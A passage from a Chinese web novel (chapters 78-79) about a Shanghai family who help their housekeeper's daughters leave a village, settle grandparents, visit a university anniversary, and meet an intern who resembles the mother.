李固言沉思了瞬道:“妈你跟赵姐你们明天再去一趟乡下,跟孩子说让她们明天夜里偷跑出来,什么东西都不要带,我们明天夜里开车去接她们,接回来就送到火车站,赵姐你直接带她们回沪市,暂时先住在我们家,到时候让阿舒给姐打电话,让她帮你留心着合适的房子,等房子租好你们再搬出去,正好也趁着这段时间想想孩子以后怎么办。” “好,好,我、我都听你们的。”赵姐听着这安排,觉得再好不过了,一想到马上就能跟俩闺女一块儿生活,她就觉得高兴。 李固萱举手:“那我现在去帮赵姐买火车票去了?” “去吧。”李固言点头,这时候春运,回来的车票不好买,但回去的还是很好买的。 第二天深夜,天上明月高悬,星辰点点,一闪一闪的,布满天幕。 明天肯定是个好天气。 离村子不远处的一辆黑色小车内,坐着舒英、李固言还有赵姐三人,三个人都绷着脸,眼睛紧紧盯着路边,因为怕和俩孩子错过,他们天一黑就在这儿等着了,已经等了几个小时了。 他们只跟孩子约了大概的时间,毕竟具体还是得看孩子什么时候能得了机会跑出来。 又过了一会儿,赵姐看着前方使劲眨了眨眼,不可置信地问:“你们看,那两个黑影是不是两个人?” 舒英眯着眼望了望:“有点像,不知道是不是她们,等她们再近点。” “嗯。”赵姐不安地舔着嘴唇,眼睛一错都不敢错,直到黑影越来越近、越来越近,她突然压着声音道,“是她们,是她们!” 不一会儿,两个姑娘手牵着手跑到跟前,她们步子迈得很大,一刻都不敢停,好像身后有个张着血盆大口的猛兽在追咬着她们。她们喘着粗气,眼神却明亮,永远地将猛兽甩在了身后,奔向了那辆从没见过的高档轿车,就像她们的人生。 舒英看着她俩身上的衣服,可能是怕打草惊蛇,所以两人都穿着单衣,连件棉袄都没有披。 她赶忙把车门打开,让俩孩子上车,赵姐连忙脱掉身上的衣服,披在她们俩身上,一手搂一个,像失而复得的珍宝般紧紧抱在怀里,怎么也不肯松手。 等人上了车坐好,李固言立马将发动车子,踩下油门,黑色轿车在无人的村路中疾驰而去,惊醒了农户家的鸡狗,很是喊叫了一番,将主人家吵醒后,挨了一通骂。 车上,舒英打量了下俩孩子,十几岁正是花样青春的时候,但看着却瘦的有些干瘪,脸颊都凹下去,手指关节粗大,一看在家就没少干活。 “现在离火车开走还有几个小时,你们先到家眯一会儿,也给俩孩子找身像样的衣服穿。” 赵姐摇头:“我们就不回去了,我们直接去车站等着吧。”她是好意,但她们不能不明白事理,那一栋楼住了不少户人家,她这大半夜带俩穿着破烂的姑娘回去,被有心人看了,不定心里怎么想。 舒英想了想,没有再劝,只道:“去车站等着也行,不过还是得找两身厚衣服。” “我包里有,在后备箱,她俩穿我的就行,大就大点了,能保暖就行。” “也好。” 舒英和李固言把她们娘仨送到车站,怕出意外,又在车里陪着等到天亮,他俩坐在前面闭上眼补觉,她们仨在后面却是激动的睡不着,小小声地讲着话。 舒英半睡半醒中也听了一耳朵。 二丫道:“我们俩跑出来前跟小弟说了,他哭了。” 赵姐抽泣了下:“是妈没本事,妈不能把你们都带出来。” 大丫伸手给她擦了擦眼泪:“没事妈,你别哭,我过了年就十六了,我听村里人说,沪市好多厂子都招人,我跟二丫去那边打工,等明年年底就把小弟也接走。” “是,妈,我跟大姐都去打工,我们俩人一块儿,一个月怎么也能赚到二百块钱。” “打工的事先不讲,你俩还没成年,人家工厂不要。”赵姐擦了擦泪,“你俩都没上过学,得先识字才行,要不然以后也找不到好工作,只能一辈子卖苦力。” “妈,我大了,就不念书了,我挣钱给二丫,让二丫念。工厂不要我,我就去找饭店刷盘子,村里大花也去打工了,她也没成年,她就给人家刷盘子,一个月也快一百块钱呢。” 二丫:“姐不念,我也不念,我也去刷盘子赚钱。” 舒英彻底睡过去,后面的话就没再听见。 第78章 第 78 章 你最有分量了 等把赵姐一家人送上火车后, 舒英和李固言又开车回了家属楼,李妈听见开门声关心地问:“怎么样啊?” “一切顺利。”李固言换上拖鞋,弯腰将换下来的鞋放进鞋柜里。 “那就好, 我找了人把信还有钱给送到那家里去, 不到晌午就能送到了。”李妈拍着胸脯放下心,又对俩人道,“你们俩忙了一晚上了, 先过来吃点东西垫吧一下,然后再回屋补觉。” “行。” …… 在家过完年后,大家又如回来时一样,开着车带着父母准备的一大堆东西回了沪市。 到了沪市时, 家里只见赵姐,没见她俩女儿,没等舒英问,她先笑着交代。 她在附近租了房子, 以后她跟俩女儿住那边, 离得近,也不会耽误这边的工作, 每天早上过来做饭打扫卫生, 晚上再回去。 她说完连忙保证:“我肯定不会耽误这边的事儿的。” 舒英对此倒没有意见,问她:“那你俩孩子是上学还是上班?” “她俩在村里没上过学,我是想让她们俩都去上学,起码得会认会写, 不能像我一样当个睁眼瞎。”赵姐回道,“不过她俩都十好几岁了,正常的学校估计是进不去,我也有点不知道怎么办才好了。” 舒英听完想了想说:“这两天我给你打听打听, 看有没有合适的学校。” “哎!”赵姐腼腆笑起来,手在围裙上搓了搓,“真是给你们添麻烦了。” 舒英也笑,“说这话就见外了,就冲着你给我把谷雨照顾得这么好,这么点小忙能帮一把我们肯定要帮一把的。” 三月。 又到了水和市的雨季,舒英和老师同学们又要坐上南下的火车去水和市。 谷雨知道妈妈要离开,哭得泣不成声,看得舒英心里难受得直抽抽,“妈妈这不是还没走呢嘛,怎么哭这么厉害,两只眼睛跟水龙头似的。” “但是妈妈后天就走了,我舍不得你,妈妈,你带我一块儿去吧,我保证乖乖的!” 舒英笑起来,拿手帕将她脸上的眼泪擦干净:“你跟妈妈走了,爸爸怎么办,你不要爸爸啦?还有你的好朋友,贝贝和芝芝也都在这儿呢。” 谷雨犹豫了下,还是道:“我要妈妈,要不把爸爸也带上。” 舒英心里一暖,把她抱在怀里晃了晃,说:“妈妈在那边待两个月就回来了,到时候还给你带那边的蜂蜜,你不是很喜欢的吗?” “不喜欢,我现在不喜欢了。”谷雨头摇得跟拨浪鼓一样,“我只喜欢妈妈。” 舒英在她鼻子上刮了下,笑了笑没说什么。 李固言将她要带的东西收拾好后进来,谷雨还在抽噎,他用看了眼下舒英,舒英摇头,示意还没哄好。 可能是因为经历过一次分开,谷雨已经明白两个月见不到面意味着什么,所以这一回她的反应格外大。而且小姑娘倔脾气上来后,谁也拉不住,知道妈妈后天就要走了,连幼儿园也不愿意去了,整天就跟在妈妈屁股后面,稍微一扭头看不见她,小嘴立马就是一瘪,眼瞧着眼泪瞬间就落下来。 这么小的孩子,看得人心疼,难怪人家都说生了孩子后,妈就被拴住了,这真是孩子一落泪,当妈的恨不得难受的是自己。 两天时间过去,李固言抱着哭得不成声儿的谷雨来车站送舒英。 谷雨在爸爸怀里使劲朝妈妈张着胳膊,舒英尽力忍着没去抱她,上了车后在车窗处朝她挥手再见。 …… 1998年底,时间一转眼过去了两年多,在这两年多的时间里也发生了不少事。 舒英硕士研究生毕业,又选择跟着章惠然攻读博士,每年都要去一趟水和市,经过所有人的努力,那边虽然仍存在疟疾流行风险,但是防控措施也已经逐步推进,疫情处于下降趋势,相信在不久的将来,那边的疟疾一定会得到有效的控制;谷雨也离开了幼儿园,正式成为了一名小学生;李固言的公司也即将上市。 最重要的是,一家三口成功搬到了向往已久的大别墅中,舒秀珍依然带着贝贝住在他们隔壁,舒秀珍现在也转行了,在干外贸,学了一口流利的英文,整日里国内国外的跑。 “谷雨,你作业写完了吗?马上要去上琵琶课了。”舒英敲响谷雨的门问道。 不多时,就听见里面传来拖鞋摩擦地面的声音,接着,房门被打开,谷雨朝妈妈讨好地笑笑,露出一个没了牙的豁口,“马上马上。” 舒英有些无奈,没说她作业的事,道:“走路的时候脚抬起来,别拖着地面。” “好的好的妈妈。”谷雨立正搞怪地敬了个礼。 “行了,你快点写作业吧,等待会儿爸爸回来送你去上课。”舒英没进她的房间,转身下楼去,走到一半觉得不对,又立马上去,“谷雨,你是不是又把小黑抱房间里玩了?” 房间传来小狗呜咽声,舒英沉着脸等着谷雨把门打开,小黑吐着舌头高兴地从门缝里钻出来,围着她转。 “我把小黑带下去了,你作业写完后再跟它玩。” 谷雨颇有些垂头丧气地看着她俩,可怜巴巴地冲小黑摆手:“小黑拜拜,姐姐只能写完作业再跟你玩。” 小黑是舒秀珍答应给她的生日礼物,之前住在楼房里,不太好养,后来一搬到独栋别墅,舒秀珍就带着她去挑狗,她挑了通体全黑的小黑。 这时车库响起声音,小黑粗溜一下,从楼梯上下去,动作十分灵活,谷雨也出来,“肯定是爸爸回来了!” 舒英屈指在她头上轻轻敲了下,“作业还没写完呢!明天就又是周一了。” 谷雨抱着头装可怜,“妈妈,等上完课回来我肯定能写完。” 舒英摇了摇头,上星期她也是这样说的,结果是大半夜的她和李固言还在帮着她补作业,这下她是再也不会信她这话了,“你赶紧写,今天写不完,我说什么都不再帮你写了。” 谷雨吐了吐舌头没说话,心里却想,没事,反正爸爸会帮她的。 舒英一看她这表情就知道她在想什么,睨了她一眼道:“你爸也不会帮你写。” 那爸爸肯定是听妈妈的,谷雨有些不满地噘了噘嘴,有些有气无力道:“好吧妈妈,我现在就写。” 一楼,李固言进来客厅,脚边跟着狂甩尾巴的小黑,他笑着在它头上摸了下轻声问:“她们呢?在楼上吗?” 小黑冲着楼梯口“汪汪”叫了两声,算是回答男主人的问题。 李固言笑起来,抬脚就要往楼上走。 正好舒英这时候下来对着他摆手:“你别上去了,她作业还没写完,看见你又要静不下心写作业了。” 李固言也是无奈:“她学习也不差呀,怎么就这么不喜欢写作业。” “不懂。”舒英也不纠结,问,“我们今年过年还回安城吗?” 今年他公司正是关键时候,她怕他走不开。 “回。”李固言道,“今年省工大校庆,前段时间越舟就开始给我打电话问我什么时候有空,什么时候回去,学校今天也联系我了,说想让我以代表的身份在校庆上发表讲话,讲讲我的创业经历。” 舒英有些惊讶,往下走了两个台阶,站到他跟前搂着他脖子笑着夸奖:“怎么这么厉害,都能在校庆上以代表的身份讲话了。” 台阶弥补了他俩之间的身高差距,李固言笑了笑,在她唇上轻轻亲了一下,“你和谷雨到时候跟我一块儿去吧,看看台上的我是如何耀眼夺目的。” “真自恋,谷雨这点肯定是随了你。”舒英这样说,脸上的笑意却不减,“行,到时候我和你闺女就坐在台下,我俩就一脸崇拜地仰头看着你,看你是多么的光彩照人,多么的熠熠生辉,多么多么的厉害。” “还说我自恋,我看你可比我严重多了。” 夫妻俩说笑着拌嘴,谷雨不知道什么时候猫到了楼梯口,被眼尖的小黑发现,对着她“汪汪”叫了两声。 惹得谷雨气急败坏地指责它:“坏小黑!看见了不能当没看见啊。” 舒英笑:“一看你就是没做好事,做贼心虚了吧?” “谁做贼心虚了?”谷雨梗着脖子嘴硬,唤着小黑扭头又回了房间。 舒英失笑:“别恋着跟小黑玩,赶紧把作业写完!” “知道啦!” 李固言跟舒英商量:“我想着咱们今年换了大房子,要不等过完年就把爸妈接过来住吧?爸妈就住一楼那个房间,采光也好,也不用上楼梯。” “我也觉得行,他俩早都退休了,现在年纪也上来了,也该跟着你这个儿子享享清福了,问题是我们这样想,爸不一定愿意来吧?”其实每年暑假都会接老两口过来,李妈还能在这边过个暑假,李爸每次都是待个两天就想回去了。 “没事,今年我劝劝他,我前几天看新闻,说老人自己在家不小心摔了一跤,没能及时就医去世了,我有点放心不下他俩。” “那这样,也别你劝了,让谷雨多说两句软话,哄哄他,在老爷子心里,谷雨的话可比你的有分量。” “这真是,被闺女比下去了。”李固言突然低声问,“那在你心里,我和谷雨谁更有分量?” 舒英有些无语,敷衍道:“你,你最有分量了。” 第79章 第 79 章 你这分明是假公济私…… 安城。 舒英看着车窗外道:“安城现在发展也挺快的, 不过一年没回来,就又变了个样子,起了好多新楼, 路也修宽了。” 李固言随意往外瞥了两眼说:“现在全国都在攮着劲儿搞发展, 相比于十年前,那真是翻天覆地的变化了。” “想想时间过得也挺快,十年前还没你呢。”舒英扭头看向后排的谷雨, 眉眼带笑。 谷雨小手一挥,浑不在意道:“没关系,往后再推两年就有我了。” 舒英笑了笑,从包里摸了个巧克力威化饼干递给她, 又问李固言:“你那个校庆是什么时候来着?年前还是年后啊。” “明天。” “明天?这么快。”舒英有些惊讶,“那你明天要讲什么,你准备好了吗?” 李固言点头:“简单写了个稿子,晚上到家你帮我看看。” “呀, 我现在这么厉害, 能帮李总看稿子了?”舒英唇角上扬,语气轻快地开着玩笑, 她还记得自己在二院上班的时候, 通过自考,院长让她台上发言,她的演讲稿还是他给的意见。 李固言开着车,不好与她玩闹, 无奈地睨她一眼,配合道:“是啊,没有舒博士帮我把关,我可不敢在全校师生的面前发表演讲。” 谷雨也凑热闹, 嘴里的威化饼干还没咽下去就开口:“爸爸,那你要不要李眷书小学生帮你看看呀?”她一说话,嘴里“欻欻”掉渣。 李固言还没点头,舒英就嫌弃递了张手帕给她,说:“嘴里的东西要咽下去再说话,边嚼东西边说话,没有礼貌。” 谷雨噘了下嘴,还是乖乖把饼干咽干净,又继续问李固言:“爸爸,你快说,要不要我帮忙?” “要。”李固言摊上这么个活宝,真是他前世修来的福气,“那怎么能少得了二年级小学生李眷书的帮忙呢?” 谷雨嘻嘻笑了两声,心满意足地坐回去,继续啃没吃完的威化饼干,巧克力在嘴里化开,涂黑了牙齿。 …… 省工业大学六十周年校庆,舒英还是第一次进到这大学里来,学校的建筑风格和沪大的截然不同,带着北方理工学校的严谨克制,又值冬季,校园里的树木也不像南方四季常青,光秃秃的,添了些萧瑟之感,不过学校门口拉了横幅,热热闹闹地来了不少人,看着倒是喜气洋洋。 李固言是知名校友,学校有人接待他,舒英和谷雨跟着沾光,一路被优待着进去。 谷雨睁着眼睛左看右看,人太多她不好意思大声说话,就捂着嘴做贼似的说:“妈妈,爸爸好威风啊。” 舒英抿着唇笑,抬头看向前面被围在中间的男人,正值茂年,眉眼深刻,鼻梁高挺,身量高,身板也直,穿着一件挺阔的黑色呢子大衣,站在一群人中间,格外瞩目。 李固言见人没跟上来,停下脚步扭头看她们母女,道:“你俩在后面说什么呢?” 谷雨见大家都跟着看过来,脸上难得露出一丝羞涩,牵着妈妈的手不说话,舒英笑道:“我们在说咱们省工大的风景好看。” 旁边一个主任也笑起来说:“是,咱们这边四季分明,冬天有冬天的凌厉,春天也有春天的和煦,等过完年开了春,校园里的花草树木都绿起来,那时候更好看,你们那时候一定要过来看看。” 一群人说说笑笑进了会堂,被安排到前排就坐。 等就剩下他们一家三口的时候,舒英才凑到李固言耳边说实话:“刚才你闺女说你好威风。” 李固言挑眉,看着她道:“那你们可得好好看看,我待会儿还得更威风。” 这男人现在就禁不住夸,一夸就蹬鼻子上脸,舒英懒得理他,撇撇嘴坐正。 李固言说一句还不够,又跟上来问:“怎么,不信啊?” “信信信。” “哼。” “你哼什么?”舒英看着他不明所以问。 “我哼你。” “我有什么好哼的。” “我就说我以前说对了,你现在是舒博士了,看不上糟糠夫了,整日里就知道敷衍我。”李固言说着,眼里瞧着还有一丝委屈。 舒英要被他气笑了:“你少贫,这么多人呢,你也不怕别人听见。” 李固言左右看了一眼,大家注意力都在台子上呢,没人看他们:“我看就是我说对了,你心虚了。” 越说越不像话了,舒英瞥了他一眼,没理他。 谷雨在旁边听着爸妈说话,但又听不清楚说的什么,忙探着脑袋好奇问:“爸爸妈妈,你们说什么呢?” 李固言在她头上轻轻弹了个脑瓜崩,“你现在是好奇心越来越重了,哪儿都有你的事。” 谷雨揉着额头坐回去,不忘瞪他一眼,控诉道:“爸爸真坏!” 舒英笑起来:“对,你爸现在坏心眼子多着呢。” 她们母女俩统一战线了,李固言又哼一声,识趣地没再说话。 很快到了校友发表讲话的环节,李固言被人请到台上去。 舒英看着谷雨,有些犹豫问:“你能拍好吗?要不还是把相机给妈妈,妈妈来拍吧?” “能的,妈妈你就放心吧。”谷雨举着相机对着台上的人按下快门。 舒英放下心,不再管她,只仰头专心看着台上。 李固言站在半人高的演讲桌后,话筒对着嘴边,年岁上来了,气质也越发沉稳,一言一笑、一举一动都是风度,浑身散发着成熟男人的魅力。 舒英坐在下面甚至能听到后面学生们的窃窃私语,无不在讨论他的优秀和出众的长相。 这让她也不由生出丝自豪来,眼底的欣赏越加浓厚。 “云亭,你先别看书了,快看台上,我听张院长说这是他之前的学生,是我们学哥,长得可真帅,现在在沪市开公司,公司都要上市了。” 被叫做云亭的女孩从书里抬头,看着被镁光灯齐聚的演讲台突然有些愣神。 旁边的女孩子轻笑,用手肘戳了戳她,“怎么了?刚才还不耐烦,觉得人家说的都是些狗屁倒灶的话,怎么现在又盯着人家发起呆来了。” 云亭面上突然绯红,不自在地说:“你别闹。” 女孩子撇了下嘴,轻轻哼了声。 …… 到底是孙女的话管用,倔强的李爸也被劝服,答应年后就跟着孩子们到沪市生活,可答应了后他又觉得有些别扭,一个劲儿道:“我要是住不惯,我还得回来啊!” 李固言没办法,他说什么是什么:“行,你要是住不惯,我让人开车送你回来。” 李爸这才满意,跟李妈一块儿收拾起行李,恨不得将整个家都搬到沪市去。 舒英瞧见连忙阻止:“爸妈,咱就开了一辆车回来,这么多东西带不下。” 李妈看看左边的包裹,又看看右边的箱子,陷入纠结中:“这些都是平时用得到的东西。” “没事妈,沪市什么都买得到,而且咱们以后又不是不回来了,东西都带过去,咱们回来时还得再买。” 李妈这才笑起来:“也是,那就不带了?” “不带了。”李固言一锤定音。 虽然说定了去沪市,但也不是那么轻易就能走掉的,老两口几十年都生活在这里,老同事老邻居都在这边,临走前可不得跟大家好好聚一场。 而且大女儿李固萍一家也还在安城,走前也得跟她好好交代一番。 舒英没管老两口停不下来的聚会,她带着谷雨到机械厂家属院旁边的咖啡厅找吴嫂子叙旧。 吴嫂子看着谷雨笑起来:“谷雨都长这么大了,这要是走在路上我可是不敢认。” “可不是嘛,她这两年猛的一长的感觉。” “还得长呢,小孩子就这几年长得最快了,每年都不一样。” 三人坐下来,谷雨要吃蛋糕喝果汁,舒英给她点好后跟吴嫂子聊天。 吴嫂子不免说起机械厂:“这真是三十年河东三十年河西,而且这还没三十年呢!这离李工走才过了几年哦,大家就大不一样了。” “怎么了,厂里又发生什么事了?”舒英问。 “早了,前两年的事了,陆副厂长贪污进去了,陆德没他叔叔的庇护,在厂里也待不下去了,被厂里开除了。” “陆副厂长进去了啊?”舒英有些惊讶,这些事情她还真没听说,一时有些唏嘘,当年陆副厂长跟陆德在厂里那是多么的风光,土皇帝一样,这真是时来运转。 吴嫂子撇嘴:“再过几年都该出来了。” 这个话题一聊便过,谁也没深入,换了话头聊起家常。 几人坐在窗边,舒英说话的间隙往外看了一眼,就看到外面有几个孩子拿着袋子捡垃圾,最大的那个看着才跟谷雨差不多大。 她不忍心,就多看了两眼。 街面上捡垃圾的不只有孩子,还有些老人,有时候一个东西被两拨人看到,难免就要发生争抢,舒英明明亲眼看着那个塑料瓶子是那个小男孩先拿起来的,但旁边的一个老头却径直冲过来给抢了去,抢了也就罢了,还不给个好脸,唬着一张老脸,抬着手像是想打人。 小男孩旁边的几个孩子有些不忿,瞪着老头想跟他吵打起来,小男孩张开手死死拦着没让,看着又乖又可怜。 吴嫂子顺着她的目光往外看,疑惑问:“看什么呢?” 舒英扬了扬下巴:“那边,那几个小孩你认识吗?” “他们呀。”吴嫂子看过去,叹了口气,“附近那个安城福利院的。” 福利院?舒英还以为是哪家条件不好的孩子,没想到会是福利院的孤儿。 “这几个孩子经常在这附近转悠,捡些瓶子纸板的去卖钱,家属院的都知道他们,又懂事又有礼貌,所以我们有时候家里的瓶子这些都攒起来,看到他们就都给他们,每次给他们,都会笑着说谢谢,特别可人心。” 舒英听完又往外看了一眼,拾荒老头已经走了,只剩下几个小孩子气愤地站在原地,最大的那个脸上挂着笑,在安慰他们。 最大的那个孩子像是察觉有人看自己,机警地转头,正与舒英的视线对上,舒英抿起唇温柔地冲他笑了笑。 那孩子愣了下,也礼貌地笑了下,随后看到她旁边的吃蛋糕的女孩,黑白分明的眼睛中充满了不谙世事的单纯懵懂。 几个孩子拎着袋子走后,舒英还有些失神,若有所思问:“嫂子,你认识福利院的负责人吗?我现在正好有些钱,给他们捐点款。” “那好啊,这是好事啊。”吴嫂子笑起来,“这事儿你交给我,那负责人我认识,明天我就给你约出来。” 舒英笑了笑,从口袋里掏出手帕将谷雨嘴边的奶油轻柔地擦去。 大半年后。 “好热啊,妈妈。”谷雨眼珠子提溜转,挪着布蹭到舒英旁边,“妈妈,我能再吃一个雪糕吗?” “你上午不是吃过一个了吗?”舒英将赵姐做的饭菜装到饭盒里,没答应。 谷雨扭着身子撒娇:“妈妈~上午是上午的,我现在还想再吃一个嘛!妈妈你看,我头上都是汗,背上也是。” 舒英妥协:“行吧行吧,那今天允许你再吃一个,不过明天还是只能吃一个。”这得提前讲清楚,要不然谷雨明天打着她的招牌不知道能吃几个雪糕,这可不是她多想,是有前例的。 谷雨欢呼起来,抱着她亲了一口,兴高采烈地打开冰箱,精挑细选了一番,最终拿了一根奶油雪糕。 吃上雪糕后,她也不走,凑过来问:“妈妈,你晚上要去实验室加班吗?” 舒英摇头:“还不是你爸,让我给他打包饭菜送到他办公室去,他今天晚上加班。对了,你待会儿没什么事了吧?” “没了。”谷雨摇头,又举起手发誓,“我今天的暑假作业都做完了。” 舒英哼哼一声,“你做不完,今年说什么我跟你爸都不会帮你补,也不会让贝贝还有爷爷奶奶帮你补。” 这孩子寒假在安城跟表兄妹们玩疯了,一点儿作业都没做,问了还撒谎说写完了。回到沪市,快开学了,在房间里补作业补到大半夜,最后实在补不完了才告诉他们,哭得一把鼻涕一把泪的,瞧着好不可怜,最后全家齐上阵,熬了一个通宵,帮她全写完应付上去了。 这到了暑假,舒英吃一堑长一智,早早就把她的作业规划好,一天必须完成多少,每晚都要检查。 谷雨被揭了短,有些不悦,嘟着嘴道:“不是都说好了,不提这事了吗?妈妈你怎么说话不算话啊。” “好好好,妈妈跟你道歉,对不起,妈妈不应该再提这件事。”舒英指使着她把剩下的饭盒拿过来。 谷雨嘟囔着,“爸爸公司不是有食堂吗?干嘛还要我们给他打包啊。” “谁知道他突然抽什么疯,吐槽我不关心他,都没给他送过饭,说你隋阿姨天天给隋叔叔送饭,嘀咕好几个晚上了,实在是听得我不耐烦了,这不让赵阿姨做了这一桌子,我都给他带过去,省得他再絮叨。” 舒英都不懂,是男人都这样吗?这怎么还越长越回去了?她想想二十来岁的李固言,那时候多高冷,什么话都不说,全憋在心里面,现在是什么话都说,唠唠叨叨个没玩。 谷雨捂着嘴笑,眼睛亮晶晶的:“我知道妈妈,爸爸这是嫉妒了,跟你撒娇想让你多关心关心他呢!”以她多年来的电视剧经验,绝对不会推理错。 舒英瞥她一眼:“就你懂得多,人不大,心眼不少。” “略略略。”谷雨吐着舌头做鬼脸。 舒英将饭菜打包好,让她去叫司机小杜,自己拎着饭盒准备出去。 到了公司,前台知道她们,笑着说:“李总在办公室呢,您直接过去吧。” 舒英对她笑了笑,牵着谷雨熟门熟路地过去。 谷雨一进门就左顾右盼的,好奇道:“妈妈,我怎么感觉公司里多了好多人。” 舒英也跟着往旁边看了一眼,点头说:“是多了。”公司规模扩大后,又招了不少人,而且前几天李固言跟她说公司进来了一批实习生,都是他省工大的学弟学妹们。 “噢。” 快到办公室门口,谷雨突然小跑到前面,抢着去开门。 舒英在后面道:“怎么又不敲门。” 李固言已经站起来走过来了,脸上带着笑,伸手一把把谷雨抱起来:“没事,不敲就不敲,又不是别人的门,你们怎么现在过来了?” 舒英走过去将手里的饭盒递给他:“喏,你不说今天要加班吗?给你送饭来了。” 李固言脸上笑意加深,受宠若惊地把饭盒接过来,领着两人进了办公室坐下,又把门关上,“怎么想起来给我送饭了?” 舒英还不知道他想听什么吗?当即道:“这不是知道你工作辛苦,心疼你吗?这食堂里的饭菜哪里有家里的香?快打开看看,是你想吃的吗?” “你亲手做的吗?”李固言把饭盒从保温袋里拿出来,眼神都亮了。 “那要让你失望了,赵姐做的。”舒英笑,在他额头上点了下,“我明天没事,你要是想吃,明天我亲自下厨给你做。” 李固言也笑:“赵姐做的饭也好吃,而且你能过来给我送饭我就很高兴了。” 舒英斜他一眼:“言不由衷,你要想我亲手做了饭再给你送过来,你就直说。” 李固言嘿嘿笑两声,也没管女儿在呢,先凑到舒英脸上亲了一下。 谷雨吱哇乱叫起来,“爸爸!” “怎么了?你也想让爸爸亲你了?”李固言故意问。 “我才不要!”谷雨抱着胳膊气呼呼的。 李固言挑眉,当即放下筷子,起身捉住她,夹在怀里在她胳肢窝下挠:“好啊你,你现在开始嫌弃你爸爸了,是不是?” 谷雨笑得停不下来,示弱求饶:“没有,没有,我最喜欢爸爸了。” 舒英看着父女俩打闹,笑着说:“再不吃,饭菜都凉了。” 吃完了饭,李固言将饭盒收拾好装起来,舒英问:“你今天要加班到几点?” “差不多要八九点才能回去。” “行,那我先带着谷雨回去了?” “现在就回去啊?要不再待一会儿?”李固言拉着她有些不舍。 舒英无语地拍了下他:“你晚上不就回家了吗?搞得跟八百年见不到面一样。” 李固言软了声音,听着还有点可怜兮兮的,“那你们都回去了,就我一个人在这边工作,多孤单啊。” 舒英没上当,但小谷雨心软道:“妈妈,爸爸真可怜,我 们再陪爸爸待一会儿吧?” “行,那就再待一会儿。” 李固言立马笑起来,拉着她又坐了回去,指着书架说:“这上面有不少杂志,你们看会儿书打发时间,我先处理下文件。” 没一会儿,办公室门被敲响,李固言沉声道:“进。” 云亭进来,看到办公室里有人愣了一下,随后拿着文件到李固言桌前说:“李总,袁总说这个文件要你签一下名。” “嗯。”李固言翻着看了看,在签名处笔走龙蛇般签下自己的名字,签完后见人还没走,他抬眼问,“袁总还有什么事吗?” “没、没了。”云亭仿若才回神般有些尴尬地抱着文件出去。 谷雨从她刚进来时就在看着她,等人出去后,用手指戳了戳舒英,低声说:“妈妈,刚刚那个姐姐跟你长得好像啊。” 舒英抬头,看了眼关上的办公室门道:“是吗?我刚刚没看见。” “是的,跟你跟爸爸一块儿拍的那张粉红色婚纱的照片可像了。”谷雨一脸笃定,眼睛还紧紧盯着她,生怕她不信一样。 李固言听到她俩说话,问:“又在说什么呢?什么像?” 舒英:“你不是要加班吗?怎么还偷听我们说话?” “我哪有偷听,我是光明正大听,只是离得远没听清。”李固言一心二用,一边看文件,一边跟她说话。 谷雨重复一遍说:“我说刚刚那个进来的姐姐跟妈妈长得好像。” 李固言停下笔,皱着眉想了想,随后点点头:“你这么一说,好像是有那么一点像?” 舒英被他俩这么一说,本来不好奇的都有点好奇了,除了家里人,她还没碰到过啊跟自己长得像的人呢,可惜她刚才没抬头,没看到那姑娘长什么样子。 谷雨从沙发上下去,说:“妈妈,我出去看看那个姐姐坐哪,待会儿我指给你看。” 她有些兴奋,小跑着过去开门,舒英想拦都没拦住。 谷雨出去后,就在大家工位上乱转,大家看见她也不陌生,都打趣地喊她“小老板”。 “小老板,今天怎么过来了?” “我跟妈妈过来给爸爸送饭。” “小老板,吃糖吗?我这里有好多糖。” “不吃了,谢谢姐姐。” 谷雨扭着身子努力从一群“围追堵截”的哥哥姐姐们手中躲过去,成功看到了刚才进办公室的姐姐的位置,这才满意地又回了办公室,讨赏似的对妈妈说:“妈妈妈妈,我看到那个姐姐坐哪里了,妈妈你要不要过去看看?真的跟你长得可像了。” 舒英见她信誓旦旦,一时有些犹豫,李固言抬头看了她一眼笑道:“好奇就去看一眼呗,或者我把她叫办公室来,给你看一下?” “别!”舒英赶忙制止他这个想法,“就为了让我看一眼,把人叫到办公室也太奇怪了。” “没事,我就说是工作上的事情。”李固言已经拨通了桌前的电话,“叫刚才来我办公室的那个姑娘过来一下。” “好的,李总。” 还没等舒英说什么,谷雨就先垮了脸:“那我刚刚岂不是不用出去的。” 李固言笑:“本来就没想让你出去,是你自己脚快,我们想拦都没拦住。” 谷雨才不听他这个解释,鼓着脸哼了一声,气鼓鼓的一屁股坐到沙发上。 “你这孩子现在气性越来越大了,像个充气的青蛙。” 谷雨昂着头:“我就喜欢青蛙,青蛙多可爱啊,老师都说了,青蛙是益虫呢,它们会吃好多田里的害虫,是农民爷爷奶奶的好帮手!” 云亭走到门口就听见他们在讨论青蛙,一时不解,不知道李总叫自己过来是有什么事。 人进来后,舒英抱着谷雨不动声色地打量了一下,也有些吃惊,其实细看起来,五官都不怎么像,但组合到一起,的确跟自己二十多岁的时候有点像。 刹那之间,舒英脑中突然萌出一个想法,她控制不住的在女孩身上又看了几眼。 李固言轻咳一声,随便找了两个工作上的问题问了几句,随后点点头示意没事了。 女孩出去后,舒英没忍住问:“这姑娘叫什么名字?” 李固言皱了下眉,想了想:“叫什么忘记了,但记得是姓云,她这个姓氏好听又少见。” 姓云,一个名字跃然脑中:云亭! 舒英知道她是谁了! 李固言看她脸色不太对劲,问:“你怎么了?” “没事。”舒英摇摇头,“我有点累了,先带谷雨回去了。” 李固言转头看了眼外面的天色,天已经黑了,他盖上笔帽,一同起身:“我今天不加班了,跟你们一块儿回去吧,我看你脸色不太对,别是生病了。” “嗯。” 现在早过了下班的点了,因为前不久公司刚上市,有很多事情要处理,所以办公室外面还有员工在加班,有跟李固言熟络一点的,直接笑起来打招呼:“李总,今天不加班啦?” “不加了,你们今天也尽量早点回去吧。”李固言笑。 “好嘞!” 三人从办公室出去,舒英视线正好瞟到云亭,她坐在工位上处理工作,工位上收拾的很整齐,上面还贴了漂亮的贴纸作为装饰,布置得很漂亮。 舒英收回视线,牵着谷雨和李固言一块儿离开。 从公司出来,夜风清凉,吹在人身上很是舒爽。 李固言:“你们在这等我一下,我去把车开过来。” “好。” 谷雨牵着妈妈的手眯着眼道:“妈妈,夏天的晚上也太舒服了吧!”小风吹过来,把她的刘海吹散。 “你还挺会享受。”舒英笑起来,摸了摸她额头,见没有汗才放下心。 “如果这时候能有一瓶冰冰凉凉的可乐就更享受了。”谷雨微微睁着一只眼觑着她,顺杆往上爬。 “你要求还挺多,这风竟然还不够你享受的。” 谷雨理直气壮:“一点享受哪能行,要更享受才好!”语气着重在“更”字上。 这时,李固言开车过来,两人拉开车门上去。 